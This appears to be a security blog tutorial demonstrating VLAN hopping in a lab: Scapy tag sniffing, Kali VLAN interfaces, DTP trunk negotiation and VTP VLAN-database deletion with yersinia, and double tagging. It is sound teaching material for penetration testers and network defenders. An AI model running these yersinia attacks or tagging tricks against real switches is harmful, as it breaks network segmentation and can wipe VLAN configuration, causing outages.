Virtual Local Area Network’s (VLAN’s) can be used to segment physical networks into logical networks. VLAN’s allow grouping devices in broadcast domains. They are often used to segregate different security domains.
VLAN ports are typically have one of two assignments, they are either access or trunk ports. With access ports, a port is assigned to a VLAN, but the device connected to that port will not notice any difference.
Trunk ports are typically used to transmit multiple VLAN’s between switches. With trunk ports, an 802.1Q header is added to the packets.
Configuring VLAN’s in Linux
For this example, we will be configuring the following network topology. IOU1 is a layer 2 switch. KaliCloud is a bridged interface that leads to our attacker system.
Ports will be configured using the following addressing scheme.
Host | VLAN | IP Address | Switch Port |
---|---|---|---|
PC1 | 100 | 172.16.1.1 | Ethernet0/1 |
PC2 | 100 | 172.16.1.2 | Ethernet0/2 |
PC3 | 200 | 172.16.2.1 | Ethernet1/0 |
PC4 | 200 | 172.16.2.2 | Ethernet1/1 |
Configuring a dot1q trunk port is fairly simple on a Cisco switch. In this instance we have two access ports for VLAN 100 and VLAN 200 respectively. A trunk port is also configured.
interface Ethernet0/0
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Ethernet0/1
switchport access vlan 100
switchport mode access
!
interface Ethernet0/2
switchport access vlan 100
switchport mode access
!
interface Ethernet1/0
switchport access vlan 200
switchport mode access
!
interface Ethernet1/1
switchport access vlan 200
switchport mode access
So, PC1 and PC2 can communicate since they are both on VLAN 100. PC3 and PC4 can communicate since they are both on VLAN 200.
The show interfaces trunk command can be used to show the current trunking configuration. From this, we can see both VLAN 100 and 200 are allowed over Ethernet0/0 interface.
IOU1#show interfaces trunk
Port Mode Encapsulation Status Native vlan
Et0/0 on 802.1q trunking 1
Port Vlans allowed on trunk
Et0/0 1-4094
Port Vlans allowed and active in management domain
Et0/0 1,100,200
Port Vlans in spanning tree forwarding state and not pruned
Et0/0 1,100,200
From the attacker system, we can see which VLAN’s we have visibility of using the following Python code.
from scapy.all import *
def print_vlan_id(packet):
if packet.haslayer(Dot1Q):
vlan = packet[Dot1Q].vlan
print(f'VLAN ID: {vlan}')
def main():
print("Starting packet capture. Press Ctrl+C to stop.")
interface="eth1"
sniff(iface=interface,prn=print_vlan_id, store=0)
if __name__ == "__main__":
main()
Running this code we can see two VLAN’s are sending traffic.
sudo python3 get_vlan_ids.py
Starting packet capture. Press Ctrl+C to stop.
VLAN ID: 200
VLAN ID: 100
Now we know the VLAN tag numbers, we can add the relevant VLAN interfaces to our Kali system.
sudo ip link add link eth1 eth1.100 type vlan id 100
sudo ip link add link eth1 eth1.200 type vlan id 200
sudo ip addr add 172.16.1.3/24 dev eth1.100
sudo ip addr add 172.16.2.3/24 dev eth1.200
sudo ifconfig eth1.100 up
sudo ifconfig eth1.200 up
┌──(kali㉿kali)-[~]
└─$ ping 172.16.1.2
PING 172.16.1.2 (172.16.1.2) 56(84) bytes of data.
64 bytes from 172.16.1.2: icmp_seq=1 ttl=64 time=0.747 ms
┌──(kali㉿kali)-[~]
└─$ ping 172.16.2.2
PING 172.16.2.2 (172.16.2.2) 56(84) bytes of data.
64 bytes from 172.16.2.2: icmp_seq=1 ttl=64 time=0.768 ms
Exploiting Dynamic Trunking Protocol (DTP)
Under normal operation users should only be connected to access ports, not trunk ports. However, it may be possible to convert an access port to a trunk port using the Dynamic Trunking Protocol (DTP).
Doing a show run, we can see the following interface configuration.
interface Ethernet0/0
!
interface Ethernet0/1
switchport access vlan 100
switchport mode access
!
interface Ethernet0/2
switchport access vlan 200
switchport mode access
!
Although it’s not explicitly stated, Ethernet0/0 is configured to negotiate a trunk link using the Dynamic Trunking Protocol (DTP). The available options for a switchport can be seen using the switchport mode command.
IOU1(config-if)#switchport mode ?
access Set trunking mode to ACCESS unconditionally
dot1q-tunnel set trunking mode to TUNNEL unconditionally
dynamic Set trunking mode to dynamically negotiate access or trunk mode
private-vlan Set private-vlan mode
trunk Set trunking mode to TRUNK unconditionally
IOU1(config-if)#switchport mode dynamic ?
auto Set trunking mode dynamic negotiation parameter to AUTO
desirable Set trunking mode dynamic negotiation parameter to DESIRABLE
We can see Ethernet0/0 is currently on the native VLAN (1).
IOU1#show interfaces status
Port Name Status Vlan Duplex Speed Type
Et0/0 connected 1 a-full auto RJ45
Et0/1 connected 100 a-full auto RJ45
Et0/2 connected 200 a-full auto RJ45
We can use yersinia on our attacker system to negotiate a trunk link with the switch using DTP.
sudo yersinia dtp -interface eth1 -attack 1
<*> Starting NONDOS attack enabling trunking...
<*> Press any key to stop the attack <*>
Looking at the Cisco switch, Ethernet0/0 will transition to a trunk.
IOU1#show interfaces status
Port Name Status Vlan Duplex Speed Type
Et0/0 connected trunk a-full auto RJ45
Et0/1 connected 100 a-full auto RJ45
Et0/2 connected 200 a-full auto RJ45
With a trunk link in place, we can then configure the VLAN interfaces on our Linux system as in the previous example to access all the accessible VLAN’s.
Exploiting Double Tagging
The native VLAN is associated with untagged Ethernet frames on a trunk port. It’s the VLAN that a switch uses to handle traffic that isn’t explicitly tagged with a VLAN ID. By default, this is VLAN number 1.
Let’s expand on our network topology to add a second switch, and a new computer PC5. PC5 is allocated to VLAN 300.
On switch OUI1 we configure a trunk link, and prohibit VLAN 300.
interface Ethernet0/0
switchport trunk allowed vlan 1-299,301-4094
switchport trunk encapsulation dot1q
switchport mode trunk
On switch OUI2, we also configure the trunk – but allow all VLAN’s.
interface Ethernet0/0
switchport trunk encapsulation dot1q
switchport mode trunk
From our attacker system, we could add a VLAN 300 tag to our traffic but this will be stripped by IOU1. To get around this, we can add our VLAN 300 tag in addition to the native VLAN tag (VLAN 1). When this packet with two tags reaches switch IOU1, the outer tag will be removed and the remaining packet with the VLAN 300 tag will be sent over the link.
We can create this unusual configuration using the following commands on our Kali host.
sudo ip link add link eth1 eth1.1 type vlan id 1
sudo ip link add link eth1.1 eth1.300 type vlan id 300
sudo ifconfig eth1.1 up
sudo ip addr add 172.16.3.3/24 dev eth1.300
sudo arp -s 172.16.3.1 FF:FF:FF:FF:FF:FF -i eth1.300
You should end up with interfaces configured like so:
5: eth1.1@eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 08:00:27:ba:ca:dc brd ff:ff:ff:ff:ff:ff
inet6 fe80::a00:27ff:feba:cadc/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
6: eth1.300@eth1.1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 08:00:27:ba:ca:dc brd ff:ff:ff:ff:ff:ff
inet 172.16.3.3/24 scope global eth1.300
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:feba:cadc/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
The packet the Kali device sends has two tags, VLAN 300 as the inner tag, and VLAN1 as the outer:
As the packet traverses the trunk link, the native VLAN (outer) tag is stripped, leaving our VLAN 300 tag.
Finally, exiting the IOU2 interface, the packet reaches PC5 without a VLAN tag.
It’s worth noting whilst this will allow a packet to be sent to a VLAN that would otherwise not be accessible, we won’t receive any return traffic.
Exploiting VLAN Trunk Protocol (VTP)
The VLAN Trunking Protocol (VTP) maintains a database of VLAN’s that is replicated between switches. VTP traffic is only transmitted over trunk links. If an adversary has access to a trunk link, they could send out malicious VTP packets to delete or add VLAN’s. In this instance we’re going to look at creating a denial of service condition by removing the VLAN database.
Looking at our switch configuration, we can see a number of VLAN’s are configured.
IOU1#show vlan
VLAN Name Status Ports
---- -------------------------------- --------- -------------------------------
1 default active Et1/2, Et1/3, Et2/0, Et2/1
Et2/2, Et2/3, Et3/0, Et3/1
Et3/2, Et3/3
100 MARKETING active Et0/1, Et0/2
200 ACCOUNTING active Et1/0, Et1/1
300 SECRET active
Next, use Yersinia to launch an attack deleting all VLAN’s.
sudo yersinia vtp -interface enp0s8 -attack 1
<*> Starting DOS attack deleting all VTP vlans...
After some time, we can see the VLAN’s have been deleted from the switch.
IOU1#show vlan
VLAN Name Status Ports
---- -------------------------------- --------- -------------------------------
1 default active Et1/2, Et1/3, Et2/0, Et2/1
Et2/2, Et2/3, Et3/0, Et3/1
Et3/2, Et3/3
1002 fddi-default act/unsup
1003 token-ring-default act/unsup
1004 fddinet-default act/unsup
1005 trnet-default act/unsup
In Conclusion
It should be noted that Yersinia does also provide a graphical frontend to automate attacks, although this is currently not working in Kali Linux. If you require this, it is working in Parrot OS.